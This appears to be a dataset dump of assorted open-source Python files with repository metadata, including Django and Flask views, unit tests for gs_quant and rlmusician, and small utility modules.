] | 9 | 2019-06-10T18:50:52.000Z | 2021-09-07T23:59:25.000Z | webservice/api/views.py | Phomint/Autonomous-WebService | 834b7eb36850f94404b3cba36db4fcc6e62e9a17 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def index(request):
return render(request, '../templates/base.html')
# Create your views here.
| 22.666667 | 52 | 0.742647 | 18 | 136 | 5.611111 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139706 | 136 | 5 | 53 | 27.2 | 0.863248 | 0.169118 | 0 | 0 | 0 | 0 | 0.198198 | 0.198198 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
bd2c5500517fc81a1ae5845f406f278cd25573e0 | 18,710 | py | Python | gs_quant/test/timeseries/test_measures_reports.py | zoeqwq/gs-quant | 2ee3ffe5ed918845f5f56f006755efd04774abd6 | [
"Apache-2.0"
] | null | null | null | gs_quant/test/timeseries/test_measures_reports.py | zoeqwq/gs-quant | 2ee3ffe5ed918845f5f56f006755efd04774abd6 | [
"Apache-2.0"
] | null | null | null | gs_quant/test/timeseries/test_measures_reports.py | zoeqwq/gs-quant | 2ee3ffe5ed918845f5f56f006755efd04774abd6 | [
"Apache-2.0"
] | null | null | null | """
Copyright 2020 Goldman Sachs.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software di... | 37.721774 | 112 | 0.610903 | 2,085 | 18,710 | 5.290647 | 0.105995 | 0.04161 | 0.045961 | 0.063639 | 0.835736 | 0.821956 | 0.816245 | 0.807542 | 0.807542 | 0.792675 | 0 | 0.03545 | 0.264244 | 18,710 | 495 | 113 | 37.79798 | 0.765872 | 0.091716 | 0 | 0.683333 | 0 | 0 | 0.278105 | 0.142444 | 0 | 0 | 0 | 0 | 0.022222 | 1 | 0.025 | false | 0 | 0.041667 | 0 | 0.069444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1fc84530238bd8ca7655cf2dded3cb025079cf25 | 51 | py | Python | __init__.py | maziara/deluge-feed-innoreader | 874ae84d5f75569a6749e44f8c525e484aa801b7 | [
"MIT"
] | 8 | 2016-07-31T01:58:00.000Z | 2020-09-30T01:18:34.000Z | __init__.py | maziara/deluge-feed-innoreader | 874ae84d5f75569a6749e44f8c525e484aa801b7 | [
"MIT"
] | null | null | null | __init__.py | maziara/deluge-feed-innoreader | 874ae84d5f75569a6749e44f8c525e484aa801b7 | [
"MIT"
] | null | null | null | from . import inoreaderapi
from . import delugeapi
| 17 | 26 | 0.803922 | 6 | 51 | 6.833333 | 0.666667 | 0.487805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156863 | 51 | 2 | 27 | 25.5 | 0.953488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1fdf459a0f4988f24dce8f1d12117e9b9a9d6eef | 16,698 | py | Python | tethysapp/rheasvieweroption2/ajax_controllers.py | SERVIR/Rheas-Viewer-Option2 | 98220f64a7484c5a86186482d08bf1d20ce3e966 | [
"MIT"
] | null | null | null | tethysapp/rheasvieweroption2/ajax_controllers.py | SERVIR/Rheas-Viewer-Option2 | 98220f64a7484c5a86186482d08bf1d20ce3e966 | [
"MIT"
] | null | null | null | tethysapp/rheasvieweroption2/ajax_controllers.py | SERVIR/Rheas-Viewer-Option2 | 98220f64a7484c5a86186482d08bf1d20ce3e966 | [
"MIT"
] | 1 | 2020-10-06T00:14:37.000Z | 2020-10-06T00:14:37.000Z | from django.http import JsonResponse, HttpResponse, Http404
from tethysapp.rheasvieweroption2.model import *
import requests
import tethysapp.rheasvieweroption2.config as cfg
import xmltodict
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt
def get_db_schemas(request):
return_obj = {}
if reque... | 35.153684 | 340 | 0.575997 | 1,863 | 16,698 | 4.927536 | 0.079442 | 0.170588 | 0.078431 | 0.088235 | 0.830937 | 0.75305 | 0.73671 | 0.726144 | 0.695643 | 0.661111 | 0 | 0.003959 | 0.304108 | 16,698 | 474 | 341 | 35.227848 | 0.786059 | 0.084082 | 0 | 0.78022 | 0 | 0 | 0.104901 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049451 | false | 0 | 0.016484 | 0 | 0.148352 | 0.008242 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9507fede29a9b62ae3d7ab46547ccc4c91ad477e | 30 | py | Python | hubble_shuttle/__init__.py | HubbleHQ/shuttle | 4b8d80fc4f1c075c8e7c213e8be24567c7a819bb | [
"MIT"
] | null | null | null | hubble_shuttle/__init__.py | HubbleHQ/shuttle | 4b8d80fc4f1c075c8e7c213e8be24567c7a819bb | [
"MIT"
] | null | null | null | hubble_shuttle/__init__.py | HubbleHQ/shuttle | 4b8d80fc4f1c075c8e7c213e8be24567c7a819bb | [
"MIT"
] | null | null | null |
from .api import ShuttleAPI
| 7.5 | 27 | 0.766667 | 4 | 30 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 30 | 3 | 28 | 10 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
20fe42e6d25602f9f3a5dd99d5122bc789830236 | 43 | py | Python | hello.py | maximcondon/hello_world | 8b00dd874ad3d1afd1e63d8db2178d69fd749c91 | [
"MIT"
] | null | null | null | hello.py | maximcondon/hello_world | 8b00dd874ad3d1afd1e63d8db2178d69fd749c91 | [
"MIT"
] | null | null | null | hello.py | maximcondon/hello_world | 8b00dd874ad3d1afd1e63d8db2178d69fd749c91 | [
"MIT"
] | null | null | null | print("Hello World!")
print("hello again")
| 14.333333 | 21 | 0.697674 | 6 | 43 | 5 | 0.666667 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 43 | 2 | 22 | 21.5 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0.534884 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
1f0ba6a28d7c9a935b6edb2951a4ed4fbbc55661 | 98 | py | Python | users/views.py | ratdog45/editdojo | 5fff2ceafeb683301cf8c04327b3641173d75de3 | [
"MIT"
] | null | null | null | users/views.py | ratdog45/editdojo | 5fff2ceafeb683301cf8c04327b3641173d75de3 | [
"MIT"
] | null | null | null | users/views.py | ratdog45/editdojo | 5fff2ceafeb683301cf8c04327b3641173d75de3 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def login(request):
return render(request, 'login.html')
| 19.6 | 40 | 0.755102 | 13 | 98 | 5.692308 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 98 | 4 | 41 | 24.5 | 0.880952 | 0 | 0 | 0 | 0 | 0 | 0.102041 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
1f465a22868c6f86394b84ce3d560f366522c9a8 | 244 | py | Python | objects/descriptionobject.py | afiuorio/game-off-2018 | 66c3fda31a6789a587768f05f439355b23adf45e | [
"MIT"
] | 2 | 2018-11-15T12:09:41.000Z | 2018-11-15T16:01:55.000Z | objects/descriptionobject.py | afiuorio/game-off-2018 | 66c3fda31a6789a587768f05f439355b23adf45e | [
"MIT"
] | 22 | 2018-11-04T22:28:30.000Z | 2018-11-16T13:57:05.000Z | objects/descriptionobject.py | afiuorio/game-off-2018 | 66c3fda31a6789a587768f05f439355b23adf45e | [
"MIT"
] | 3 | 2018-11-02T13:00:08.000Z | 2018-11-15T16:19:17.000Z | class DescriptionObject:
def __init__(self, name, description="", cry=""):
self.name = name
self.description = description
self.cry = cry
def get_infos(self):
return self.name + ": " + self.description
| 24.4 | 53 | 0.606557 | 26 | 244 | 5.5 | 0.423077 | 0.167832 | 0.265734 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.27459 | 244 | 9 | 54 | 27.111111 | 0.80791 | 0 | 0 | 0 | 0 | 0 | 0.008197 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
1f8a9d6b8afaf53b9e32f3e12c30745719011f3f | 199 | py | Python | players/admin.py | OnerInce/nfl-rest_api | 8d66d68ae7f04476a1b9f509e69a9d0dc83bfcca | [
"Apache-2.0"
] | 2 | 2021-06-14T18:14:10.000Z | 2022-01-29T18:45:28.000Z | players/admin.py | OnerInce/nfl-rest_api | 8d66d68ae7f04476a1b9f509e69a9d0dc83bfcca | [
"Apache-2.0"
] | null | null | null | players/admin.py | OnerInce/nfl-rest_api | 8d66d68ae7f04476a1b9f509e69a9d0dc83bfcca | [
"Apache-2.0"
] | 1 | 2022-02-09T14:14:20.000Z | 2022-02-09T14:14:20.000Z | from django.contrib import admin
from .models import Player, Team, Position, College
admin.site.register(Player)
admin.site.register(Team)
admin.site.register(Position)
admin.site.register(College)
| 24.875 | 51 | 0.81407 | 28 | 199 | 5.785714 | 0.428571 | 0.222222 | 0.419753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080402 | 199 | 7 | 52 | 28.428571 | 0.885246 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
2f60098cefb44ed57f672ee811890fe4fc660b67 | 107 | py | Python | mask-impl/models/__init__.py | paleomoon/network-slimming | b573a1d2a290f8a3d33cc4541aa0f839847c4d24 | [
"MIT"
] | 753 | 2018-07-06T10:42:48.000Z | 2022-03-31T14:12:17.000Z | mask-impl/models/__init__.py | paleomoon/network-slimming | b573a1d2a290f8a3d33cc4541aa0f839847c4d24 | [
"MIT"
] | 81 | 2018-08-08T06:12:18.000Z | 2022-03-23T03:04:12.000Z | mask-impl/models/__init__.py | paleomoon/network-slimming | b573a1d2a290f8a3d33cc4541aa0f839847c4d24 | [
"MIT"
] | 201 | 2018-07-07T01:52:04.000Z | 2022-03-29T08:30:39.000Z | from __future__ import absolute_import
from .vgg import *
from .preresnet import *
from .densenet import * | 21.4 | 38 | 0.794393 | 14 | 107 | 5.714286 | 0.5 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149533 | 107 | 5 | 39 | 21.4 | 0.879121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
85d81e4958adb4dce578a8852f5534d539536b52 | 21,034 | py | Python | bin/user_conf/Yp_Regression_Methods.py | Delosari/dazer | 7078895d7b2f3029944c354b687d739152fceef2 | [
"MIT"
] | null | null | null | bin/user_conf/Yp_Regression_Methods.py | Delosari/dazer | 7078895d7b2f3029944c354b687d739152fceef2 | [
"MIT"
] | null | null | null | bin/user_conf/Yp_Regression_Methods.py | Delosari/dazer | 7078895d7b2f3029944c354b687d739152fceef2 | [
"MIT"
] | null | null | null | from collections import OrderedDict
from numpy import array, intersect1d, random, zeros
from pymc import database
from uncertainties import ufloat
from uncertainties.unumpy import uarray, nominal_value... | 56.695418 | 227 | 0.61258 | 2,585 | 21,034 | 4.66383 | 0.096712 | 0.0535 | 0.063039 | 0.016921 | 0.909672 | 0.886198 | 0.875 | 0.865876 | 0.851277 | 0.832697 | 0 | 0.024264 | 0.282875 | 21,034 | 370 | 228 | 56.848649 | 0.774993 | 0.18646 | 0 | 0.683036 | 0 | 0 | 0.159408 | 0.037739 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.044643 | 0 | 0.116071 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c81beaa1e6a370e658ed8298f5e341e2ce50a860 | 82 | py | Python | tests/example/managers.py | frankhood/django-custom-modal-admin | 41cabd5acbc8551c997f78c0e357f5004878f7a8 | [
"MIT"
] | 2 | 2021-12-22T15:29:32.000Z | 2021-12-22T16:41:48.000Z | tests/example/managers.py | frankhood/django-custom-modal-admin | 41cabd5acbc8551c997f78c0e357f5004878f7a8 | [
"MIT"
] | null | null | null | tests/example/managers.py | frankhood/django-custom-modal-admin | 41cabd5acbc8551c997f78c0e357f5004878f7a8 | [
"MIT"
] | null | null | null | from django.db import models
class ExampleModelManager(models.Manager):
pass | 16.4 | 42 | 0.792683 | 10 | 82 | 6.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 82 | 5 | 43 | 16.4 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
c864625fffbe5418b3f69d3a09d5440c71478ba8 | 81 | py | Python | facebook_hateful_memes_detector/models/__init__.py | faizanahemad/facebook-hateful-memes | 1f7febf65f5fc4ed4aeb476d5383437f677fbc19 | [
"MIT"
] | 9 | 2020-07-28T20:33:04.000Z | 2022-01-28T16:51:40.000Z | facebook_hateful_memes_detector/models/__init__.py | faizanahemad/facebook-hateful-memes | 1f7febf65f5fc4ed4aeb476d5383437f677fbc19 | [
"MIT"
] | 3 | 2021-06-08T21:36:37.000Z | 2021-09-08T02:03:07.000Z | facebook_hateful_memes_detector/models/__init__.py | faizanahemad/facebook-hateful-memes | 1f7febf65f5fc4ed4aeb476d5383437f677fbc19 | [
"MIT"
] | 1 | 2020-08-26T08:13:25.000Z | 2020-08-26T08:13:25.000Z | from .text_models import *
from .MultiModal import *
from .image_models import *
| 20.25 | 27 | 0.777778 | 11 | 81 | 5.545455 | 0.545455 | 0.393443 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 81 | 3 | 28 | 27 | 0.884058 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8d02dda0ce5613e3f5a3fc2852fde88f075f7b66 | 11,841 | py | Python | tests/environment/test_evaluation.py | Nikolay-Lysenko/rl-musician | 559be64fbbe19fd82c591ddd4208c6327c3dfa57 | [
"MIT"
] | 32 | 2019-10-06T19:59:44.000Z | 2022-02-09T02:18:37.000Z | tests/environment/test_evaluation.py | Nikolay-Lysenko/rl-musician | 559be64fbbe19fd82c591ddd4208c6327c3dfa57 | [
"MIT"
] | 7 | 2019-12-16T22:17:23.000Z | 2021-12-13T18:34:33.000Z | tests/environment/test_evaluation.py | Nikolay-Lysenko/rl-musician | 559be64fbbe19fd82c591ddd4208c6327c3dfa57 | [
"MIT"
] | 7 | 2019-11-10T04:55:43.000Z | 2021-07-10T19:14:11.000Z | """
Test `rlmusician.environment.evaluation` module.
Author: Nikolay Lysenko
"""
from typing import Dict, List, Optional, Tuple
import pytest
from rlmusician.environment.evaluation import (
evaluate_absence_of_looped_fragments,
evaluate_absence_of_narrow_ranges,
evaluate_climax_explicity,
evaluate_... | 31.07874 | 78 | 0.405118 | 1,017 | 11,841 | 4.473943 | 0.093412 | 0.013626 | 0.015824 | 0.014945 | 0.857802 | 0.830769 | 0.787033 | 0.746374 | 0.705714 | 0.688352 | 0 | 0.045833 | 0.452749 | 11,841 | 380 | 79 | 31.160526 | 0.656327 | 0.066126 | 0 | 0.688103 | 0 | 0 | 0.146526 | 0.041891 | 0 | 0 | 0 | 0 | 0.016077 | 1 | 0.016077 | false | 0 | 0.012862 | 0 | 0.028939 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
23b570773f8bfdd3e9cbddf44c6d6a41dc061a77 | 1,663 | py | Python | data/management/commands/load_live_towns.py | SteveWaweru/mfl_api | 695001fb48cb1b15661cd480831ae33fe6374532 | [
"MIT"
] | null | null | null | data/management/commands/load_live_towns.py | SteveWaweru/mfl_api | 695001fb48cb1b15661cd480831ae33fe6374532 | [
"MIT"
] | null | null | null | data/management/commands/load_live_towns.py | SteveWaweru/mfl_api | 695001fb48cb1b15661cd480831ae33fe6374532 | [
"MIT"
] | 4 | 2017-09-04T09:04:35.000Z | 2022-02-14T23:59:28.000Z | import os
import json
from django.core.management import BaseCommand
from django.conf import settings
from users.models import MflUser
from common.models import Town
system_user = MflUser.objects.get(email='system@ehealth.or.ke')
class Command(BaseCommand):
def handle(self, *args, **kwargs):
# file_pa... | 35.382979 | 80 | 0.527962 | 184 | 1,663 | 4.652174 | 0.353261 | 0.049065 | 0.051402 | 0.065421 | 0.71729 | 0.71729 | 0.71729 | 0.71729 | 0.71729 | 0.71729 | 0 | 0.014911 | 0.354781 | 1,663 | 46 | 81 | 36.152174 | 0.782852 | 0.329525 | 0 | 0 | 0 | 0 | 0.074681 | 0.041894 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.26087 | null | null | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
23d4dd0dd80d1333b0d82eb3c1ce36b6e2376bb8 | 9,066 | py | Python | controller/playlist_controller.py | ooyamatakehisa/bpm-searcher | 0e606c1fa11da8ebcb7dc7bfbb4f3ac2556f6863 | [
"MIT"
] | null | null | null | controller/playlist_controller.py | ooyamatakehisa/bpm-searcher | 0e606c1fa11da8ebcb7dc7bfbb4f3ac2556f6863 | [
"MIT"
] | 30 | 2021-08-25T16:33:32.000Z | 2021-12-13T06:49:38.000Z | controller/playlist_controller.py | ooyamatakehisa/bpm-searcher | 0e606c1fa11da8ebcb7dc7bfbb4f3ac2556f6863 | [
"MIT"
] | null | null | null | from dataclasses import asdict
from flask import jsonify, make_response, Response, request
from injector import inject, singleton
from interface.usecase.playlist_usecase import PlaylistUsecase
from interface.usecase.auth_usecase import AuthUsecase
@singleton
class PlaylistController:
@inject
def __init__(
... | 34.471483 | 88 | 0.61681 | 1,123 | 9,066 | 4.832591 | 0.079252 | 0.108347 | 0.159204 | 0.076654 | 0.799337 | 0.774645 | 0.723051 | 0.723051 | 0.721209 | 0.706099 | 0 | 0.025074 | 0.296161 | 9,066 | 262 | 89 | 34.603053 | 0.825419 | 0 | 0 | 0.715686 | 0 | 0 | 0.175822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044118 | false | 0 | 0.02451 | 0 | 0.338235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
23eeffaacab80ad2f58fffdbada0037c7d2d47cf | 21 | py | Python | web/oauth/__init__.py | Nixest-Inc/Nixest | c882ae931aa826ba274e6adb98e78e115e5eb7ec | [
"MIT"
] | 1 | 2020-05-31T18:19:54.000Z | 2020-05-31T18:19:54.000Z | web/oauth/__init__.py | Nixest-Inc/Nixest | c882ae931aa826ba274e6adb98e78e115e5eb7ec | [
"MIT"
] | null | null | null | web/oauth/__init__.py | Nixest-Inc/Nixest | c882ae931aa826ba274e6adb98e78e115e5eb7ec | [
"MIT"
] | 1 | 2020-06-03T20:11:55.000Z | 2020-06-03T20:11:55.000Z | from .base import Api | 21 | 21 | 0.809524 | 4 | 21 | 4.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 21 | 1 | 21 | 21 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f19deb353bcbbf1a92166dee32a75e16f0da6d27 | 2,329 | py | Python | mocap/processing/activities.py | zaverichintan/mocap | 43db09af5be092b73ce5d1df1d1834a865d62441 | [
"MIT"
] | 22 | 2019-04-17T13:42:47.000Z | 2022-03-03T23:48:16.000Z | mocap/processing/activities.py | zaverichintan/mocap | 43db09af5be092b73ce5d1df1d1834a865d62441 | [
"MIT"
] | 5 | 2019-04-17T13:57:25.000Z | 2021-04-16T12:31:38.000Z | mocap/processing/activities.py | zaverichintan/mocap | 43db09af5be092b73ce5d1df1d1834a865d62441 | [
"MIT"
] | 3 | 2020-08-27T19:32:40.000Z | 2021-02-24T08:52:23.000Z | import numpy as np
import numba as nb
"""
Various pre-processing functions for activities
"""
@nb.njit(nb.float32[:, :](
nb.float32[:, :], nb.int64
), nogil=True)
def reshape_for_forecasting(labels, num_forecast):
"""
This function takes a sequence of labels
[a, b, c, d, e, f, g, h]
and stack... | 34.761194 | 86 | 0.631602 | 346 | 2,329 | 4.020231 | 0.213873 | 0.189792 | 0.031632 | 0.011503 | 0.900791 | 0.900791 | 0.900791 | 0.900791 | 0.86197 | 0.86197 | 0 | 0.010417 | 0.258051 | 2,329 | 67 | 87 | 34.761194 | 0.79456 | 0.3538 | 0 | 0.466667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.066667 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f1e79ddfaa4a538ed4fc3b579f5c651289433531 | 96 | py | Python | venv/lib/python3.8/site-packages/urllib3/filepost.py | GiulianaPola/select_repeats | 17a0d053d4f874e42cf654dd142168c2ec8fbd11 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/urllib3/filepost.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/urllib3/filepost.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/e5/bf/ea/aa04475652fbb8bb5d018073061f861e653901f255b7fd8dd174b73de6 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.416667 | 0 | 96 | 1 | 96 | 96 | 0.479167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7b151bbefe38f3da409aa3ba100bd99a1cab320e | 78 | py | Python | tests/modules/contrib/test_apt.py | spxtr/bumblebee-status | 45125f39af8323775aeabf809ae5ae80cfe3ccd9 | [
"MIT"
] | 1,089 | 2016-11-06T10:02:53.000Z | 2022-03-26T12:53:30.000Z | tests/modules/contrib/test_apt.py | spxtr/bumblebee-status | 45125f39af8323775aeabf809ae5ae80cfe3ccd9 | [
"MIT"
] | 817 | 2016-11-05T05:42:39.000Z | 2022-03-25T19:43:52.000Z | tests/modules/contrib/test_apt.py | spxtr/bumblebee-status | 45125f39af8323775aeabf809ae5ae80cfe3ccd9 | [
"MIT"
] | 317 | 2016-11-05T00:35:06.000Z | 2022-03-24T13:35:03.000Z | import pytest
def test_load_module():
__import__("modules.contrib.apt")
